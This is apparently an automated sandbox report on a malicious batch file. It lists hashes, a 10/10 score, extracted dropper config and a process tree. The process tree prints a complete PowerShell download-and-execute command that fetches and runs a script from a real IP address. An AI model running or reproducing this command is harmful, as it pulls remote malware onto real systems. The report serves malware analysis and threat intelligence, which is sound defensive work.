b17a151185d86157579c7ecd1903ddfd186f78f1b49899efefda2e943a6b755e | Triage

Analysis

max time kernel
131s
max time network
69s
platform
windows10_x64
resource
win10v200430
submitted
03-05-2020 01:10

Sharing

Report Analysis Logs

General

Target

LVUCdSAS.bat
Size

191B
MD5

4d0d0cde7b92c8b97f2729cb95f08d3a
SHA1

b77bbf7812e9295554ae54b2c35ef5304904f0f5
SHA256

b17a151185d86157579c7ecd1903ddfd186f78f1b49899efefda2e943a6b755e
SHA512

5ab25f6b4ed8e39c876b939e28848546586c43d4349cd460dd9ed0948b495a000e8e237e0a67f8d14c6f23e88643eac89099c27169926106b91a1ab48bf7c706

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/LVUCdSAS

Signatures

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 1824 WerFault.exe
Token: SeBackupPrivilege 1824 WerFault.exe
Token: SeDebugPrivilege 1824 WerFault.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

WerFault.exe

pid	process
1824	WerFault.exe
1824	WerFault.exe
1824	WerFault.exe
1824	WerFault.exe
1824	WerFault.exe
1824	WerFault.exe
1824	WerFault.exe
1824	WerFault.exe
1824	WerFault.exe
1824	WerFault.exe
1824	WerFault.exe
1824	WerFault.exe
1824	WerFault.exe
1824	WerFault.exe

Makes http(s) request 1 IoCs
Contacts server via http/https, possibly for C2 communication.

Processes:

description flow ioc

HTTP URL 5 http://www.msftconnecttest.com/connecttest.txt
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1824 1276 WerFault.exe powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\LVUCdSAS.bat"
1⤵
PID:860

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/LVUCdSAS');Invoke-KTVNSBAG;Start-Sleep -s 10000"
2⤵
PID:1276

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1276 -s 704
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Program crash
PID:1824

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1824-0-0x0000000004470000-0x0000000004471000-memory.dmp

Filesize
4KB

Download
memory/1824-1-0x0000000004470000-0x0000000004471000-memory.dmp

Filesize
4KB

Download
memory/1824-3-0x0000000004760000-0x0000000004761000-memory.dmp

Filesize
4KB

Download